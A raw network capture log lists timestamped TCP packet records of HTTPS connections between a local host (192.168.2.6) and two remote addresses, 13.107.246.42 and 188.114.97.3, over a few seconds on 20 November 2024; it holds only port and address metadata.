Nov 20, 2024 08:12:25.149490118 CET	443	49757	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.149869919 CET	49757	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.149876118 CET	443	49757	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.165992022 CET	443	49759	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.166431904 CET	49759	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.166466951 CET	443	49759	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.166779041 CET	49759	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.166785955 CET	443	49759	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.188981056 CET	443	49756	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.189049006 CET	443	49756	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.189165115 CET	49756	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.189559937 CET	49756	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.189590931 CET	443	49756	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.189627886 CET	49756	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.189644098 CET	443	49756	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.192341089 CET	49761	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.192387104 CET	443	49761	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.192514896 CET	49761	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.192660093 CET	49761	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.192671061 CET	443	49761	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.232212067 CET	443	49755	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.232292891 CET	443	49755	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.232379913 CET	49755	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.232619047 CET	49755	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.232642889 CET	443	49755	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.232685089 CET	49755	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.232691050 CET	443	49755	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.235511065 CET	443	49758	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.235583067 CET	443	49758	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.235683918 CET	49762	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.235733986 CET	443	49762	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.235816002 CET	49758	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.235816002 CET	49758	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.235856056 CET	49762	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.235884905 CET	49758	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.235925913 CET	443	49758	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.235980988 CET	49762	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.235990047 CET	443	49762	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.238228083 CET	49763	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.238276005 CET	443	49763	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.238451004 CET	49763	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.238537073 CET	49763	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.238553047 CET	443	49763	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.253623009 CET	443	49757	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.253696918 CET	443	49757	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.253751040 CET	49757	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.253930092 CET	49757	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.253947020 CET	443	49757	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.253958941 CET	49757	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.253964901 CET	443	49757	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.257054090 CET	49764	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.257105112 CET	443	49764	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.257194042 CET	49764	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.257392883 CET	49764	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.257404089 CET	443	49764	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.264821053 CET	443	49759	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.264992952 CET	443	49759	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.265065908 CET	49759	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.265115023 CET	49759	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.265121937 CET	443	49759	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.265157938 CET	49759	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.265162945 CET	443	49759	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.267707109 CET	49765	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.267752886 CET	443	49765	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.267833948 CET	49765	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.268023014 CET	49765	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.268037081 CET	443	49765	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.496119976 CET	443	49760	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:25.496356964 CET	49760	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:25.497714996 CET	49760	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:25.497725964 CET	443	49760	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:25.498011112 CET	443	49760	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:25.499294043 CET	49760	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:25.499449015 CET	49760	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:25.499483109 CET	443	49760	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:25.499562025 CET	49760	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:25.499568939 CET	443	49760	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:25.829315901 CET	443	49761	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.829916954 CET	49761	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.829926968 CET	443	49761	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.830394030 CET	49761	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.830398083 CET	443	49761	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.916968107 CET	443	49763	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.917538881 CET	49763	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.917557955 CET	443	49763	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.917999029 CET	49763	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.918004990 CET	443	49763	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.918024063 CET	443	49762	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.918376923 CET	49762	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.918395042 CET	443	49762	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.918773890 CET	49762	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.918778896 CET	443	49762	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.930735111 CET	443	49761	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.930814981 CET	443	49761	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.930913925 CET	49761	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.931128979 CET	49761	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.931128979 CET	49761	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.931152105 CET	443	49761	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.931164980 CET	443	49761	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.933887959 CET	49766	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.933934927 CET	443	49766	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.934025049 CET	49766	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.934216022 CET	49766	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.934228897 CET	443	49766	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.935802937 CET	443	49765	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.936317921 CET	49765	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.936352015 CET	443	49765	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.936647892 CET	49765	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.936654091 CET	443	49765	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.944020987 CET	443	49764	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.944413900 CET	49764	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.944428921 CET	443	49764	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:25.944817066 CET	49764	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:25.944823027 CET	443	49764	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.022907972 CET	443	49763	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.023093939 CET	443	49763	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.023231030 CET	49763	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.023329973 CET	49763	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.023329973 CET	49763	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.023358107 CET	443	49763	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.023364067 CET	443	49762	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.023370028 CET	443	49763	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.023514032 CET	443	49762	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.023564100 CET	49762	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.023602962 CET	49762	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.023626089 CET	443	49762	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.023637056 CET	49762	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.023643017 CET	443	49762	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.026624918 CET	49767	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.026629925 CET	49768	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.026664972 CET	443	49767	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.026670933 CET	443	49768	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.026995897 CET	49767	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.027158022 CET	49768	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.027158022 CET	49768	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.027194023 CET	443	49768	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.027228117 CET	49767	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.027241945 CET	443	49767	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.041176081 CET	443	49765	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.041280031 CET	443	49765	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.041555882 CET	49765	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.041555882 CET	49765	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.041831970 CET	49765	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.041851044 CET	443	49765	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.044738054 CET	49769	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.044790030 CET	443	49769	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.044871092 CET	49769	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.045039892 CET	49769	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.045053005 CET	443	49769	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.047221899 CET	443	49764	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.047292948 CET	443	49764	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.047353983 CET	49764	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.047585964 CET	49764	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.047602892 CET	443	49764	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.047616959 CET	49764	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.047622919 CET	443	49764	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.050219059 CET	49770	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.050257921 CET	443	49770	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.050479889 CET	49770	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.050479889 CET	49770	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.050510883 CET	443	49770	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.101383924 CET	443	49760	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:26.101484060 CET	443	49760	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:26.101644993 CET	49760	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:26.101886988 CET	49760	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:26.101908922 CET	443	49760	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:26.330425024 CET	49771	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:26.330480099 CET	443	49771	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:26.330543041 CET	49771	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:26.330904961 CET	49771	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:26.330920935 CET	443	49771	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:26.565825939 CET	443	49766	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.566378117 CET	49766	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.566421986 CET	443	49766	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.571306944 CET	49766	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.571324110 CET	443	49766	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.666438103 CET	443	49766	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.666526079 CET	443	49766	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.666604042 CET	49766	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.666836023 CET	49766	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.666882992 CET	443	49766	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.666939020 CET	49766	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.666959047 CET	443	49766	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.667514086 CET	443	49767	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.668345928 CET	49767	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.668368101 CET	443	49767	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.668823004 CET	49767	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.668831110 CET	443	49767	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.670681000 CET	49772	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.670772076 CET	443	49772	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.670861959 CET	49772	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.670988083 CET	49772	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.671015978 CET	443	49772	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.677001953 CET	443	49768	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.677377939 CET	49768	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.677400112 CET	443	49768	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.677823067 CET	49768	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.677829027 CET	443	49768	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.684053898 CET	443	49770	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.684468985 CET	49770	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.684478998 CET	443	49770	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.684879065 CET	49770	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.684883118 CET	443	49770	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.685581923 CET	443	49769	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.686021090 CET	49769	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.686048985 CET	443	49769	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.686417103 CET	49769	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.686427116 CET	443	49769	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.767549038 CET	443	49767	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.767635107 CET	443	49767	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.767745018 CET	49767	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.779511929 CET	443	49768	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.779588938 CET	443	49768	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.779664040 CET	49768	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.785022020 CET	443	49769	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.785100937 CET	443	49769	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.785166979 CET	49769	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.785789013 CET	443	49770	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.785854101 CET	443	49770	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.785902977 CET	49770	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.786787033 CET	443	49771	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:26.786865950 CET	49771	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:26.851453066 CET	49767	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.851453066 CET	49767	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.851485968 CET	443	49767	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.851496935 CET	443	49767	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.853858948 CET	49768	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.853888035 CET	443	49768	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.853899002 CET	49768	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.853905916 CET	443	49768	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.855098009 CET	49769	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.855118036 CET	443	49769	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.855146885 CET	49769	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.855154991 CET	443	49769	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.859766960 CET	49770	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.859775066 CET	443	49770	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.862077951 CET	49771	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:26.862154961 CET	443	49771	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:26.862555027 CET	443	49771	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:26.863850117 CET	49771	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:26.864111900 CET	49771	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:26.864154100 CET	443	49771	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:26.864214897 CET	49771	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:26.864233971 CET	443	49771	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:26.880965948 CET	49773	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.881026030 CET	443	49773	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.881105900 CET	49773	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.892190933 CET	49774	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.892278910 CET	443	49774	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.892374992 CET	49774	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.919469118 CET	49775	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.919507980 CET	443	49775	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.919581890 CET	49775	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.919617891 CET	49773	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.919636011 CET	443	49773	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.919724941 CET	49774	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.919778109 CET	443	49774	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.927320957 CET	49775	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.927340031 CET	443	49775	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.935062885 CET	49776	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.935106039 CET	443	49776	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:26.935170889 CET	49776	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.939085960 CET	49776	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:26.939101934 CET	443	49776	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.309933901 CET	443	49772	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.351785898 CET	49772	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.404058933 CET	443	49771	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:27.404164076 CET	443	49771	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:27.404218912 CET	49771	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:27.409023046 CET	49772	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.409084082 CET	443	49772	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.409514904 CET	49772	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.409529924 CET	443	49772	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.409815073 CET	49771	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:27.409847975 CET	443	49771	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:27.505119085 CET	443	49772	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.505350113 CET	443	49772	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.505417109 CET	49772	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.527455091 CET	49772	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.527515888 CET	443	49772	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.527549982 CET	49772	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.527568102 CET	443	49772	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.532176971 CET	49777	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.532232046 CET	443	49777	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.532296896 CET	49777	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.532891989 CET	49777	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.532905102 CET	443	49777	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.560003996 CET	443	49773	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.561461926 CET	49773	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.561481953 CET	443	49773	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.562202930 CET	49773	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.562207937 CET	443	49773	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.576092958 CET	443	49775	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.576694965 CET	49775	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.576704979 CET	443	49775	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.577379942 CET	49775	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.577384949 CET	443	49775	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.584220886 CET	443	49774	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.584618092 CET	49774	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.584683895 CET	443	49774	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.585062981 CET	49774	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.585083008 CET	443	49774	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.591403961 CET	443	49776	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.592036009 CET	49776	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.592056036 CET	443	49776	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.592724085 CET	49776	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.592730999 CET	443	49776	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.670017958 CET	443	49773	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.670101881 CET	443	49773	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.670151949 CET	49773	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.671612024 CET	49773	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.671637058 CET	443	49773	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.671653032 CET	49773	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.671658993 CET	443	49773	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.675664902 CET	49778	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.675707102 CET	443	49778	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.675765038 CET	49778	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.676302910 CET	49778	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.676316023 CET	443	49778	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.677949905 CET	443	49775	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.678018093 CET	443	49775	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.678060055 CET	49775	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.681166887 CET	49775	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.681166887 CET	49775	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.681196928 CET	443	49775	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.681210041 CET	443	49775	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.688575983 CET	49779	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.688615084 CET	443	49779	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.688676119 CET	49779	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.689090967 CET	49779	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.689104080 CET	443	49779	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.689258099 CET	443	49774	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.689318895 CET	443	49774	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.689363956 CET	49774	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.689456940 CET	49774	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.689475060 CET	443	49774	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.689491987 CET	49774	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.689501047 CET	443	49774	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:27.692979097 CET	49780	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:27.692984104 CET	443	49776	13.107.246.42	192.168.2.6
